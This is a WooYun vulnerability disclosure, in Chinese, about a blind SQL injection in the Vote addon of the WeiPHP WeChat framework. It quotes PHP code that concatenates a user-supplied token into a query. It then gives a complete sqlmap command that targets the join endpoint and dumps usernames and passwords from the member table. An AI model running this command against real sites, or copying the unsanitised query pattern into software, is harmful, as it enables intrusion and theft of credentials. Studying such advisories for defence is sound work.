漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2015-0108933
漏洞标题:WeiPHP微信开发框架SQL盲注
相关厂商:weiphp
漏洞作者: 不能忍
提交时间:2015-04-22 15:44
修复时间:2015-06-06 15:46
公开时间:2015-06-06 15:46
漏洞类型:SQL注射漏洞
危害等级:高
自评Rank:20
漏洞状态:未联系到厂商或者厂商积极忽略
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2015-04-22: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-06-06: 厂商已经主动忽略漏洞,细节向公众公开
简要描述:
WeiPHP微信开发框架SQL盲注
详细说明:
程序简介:
weiphp是一个开源,高效,简洁的微信开发平台,它是基于oneThink这个简单而强大的内容管理框架实现的。旨在帮助开发者快速实现微信公众账号的个性化功能。开源产品WeiPHP下载量10万多,被众多开发者安装使用。
漏洞证明:
漏洞文件: addons/Vote/Controller/VoteController.class.php
function join() {
$token = get_token ();
$opts_ids = array_filter ( I ( 'post.optArr' ) );
$vote_id = intval ( $_POST ["vote_id"] );
// 检查ID是否合法
if (empty ( $vote_id ) || 0 == $vote_id) {
$this->error ( "错误的投票ID" );
}
if ($this->_is_overtime ( $vote_id )) {
$this->error ( "请在指定的时间内投票" );
}
if ($this->_is_join ( $vote_id, $this->mid, $token )) {
$this->error ( "您已经投过,请不要重复投" );
}
if (empty ( $_POST ['optArr'] )) {
$this->error ( "请先选择投票项" );
}
...
利用get_token函数来获取token:
function get_token($token = NULL) {
if ($token !== NULL) {
session ( 'token', $token );
} elseif (! empty ( $_REQUEST ['token'] )) {
session ( 'token', $_REQUEST ['token'] );
}
$token = session ( 'token' );
if (empty ( $token )) {
return - 1;
}
return $token;
}
获取之后直接返回,这个投票会检测是否投过票,投过就不能再投了!
private function _is_join($vote_id, $user_id, $token) {
// $vote_limit = M ( 'vote' )->where ( 'id=' . $vote_id )->getField ( 'vote_limit' );
$vote_limit = 1;
$list = M ( "vote_log" )->where ( "vote_id=$vote_id AND user_id='$user_id' AND token='$token' AND options <>''" )->select ();
$count = count ( $list );
$info = array_pop ( $list );
if ($info) {
$joinData = explode ( ',', $info ['options'] );
$this->assign ( 'joinData', $joinData );
}
if ($count >= $vote_limit) {
return true;
}
return false;
}
}
这个检测把token带入执行导致sql注入。
但是由于不会显,所以用盲注。
利用方法:
先注册一个用户,然后登录,之后添加一个投票。
然后用sqlmap可以进行sql注入了:
./sqlmap.py -u "http://localhost/index.php?s=/addon/Vote/Vote/join.html" --data="optArr%5B%5D=65&token=123*&wecha_id=&vote_id=34" --cookie="PHPSESSID=7dkdoophklk01k0r749491f2l5; thinkphp_show_page_trace=0|0" --threads 10 --batch -D weiphp -T wp_ucenter_member -C username,password --dump -v 4
--cookie这里给的是你登录之后的cookie。vote_id为你的投票id
修复方案:
过滤
版权声明:转载请注明来源 不能忍@乌云
漏洞回应
厂商回应:
未能联系到厂商或者厂商积极拒绝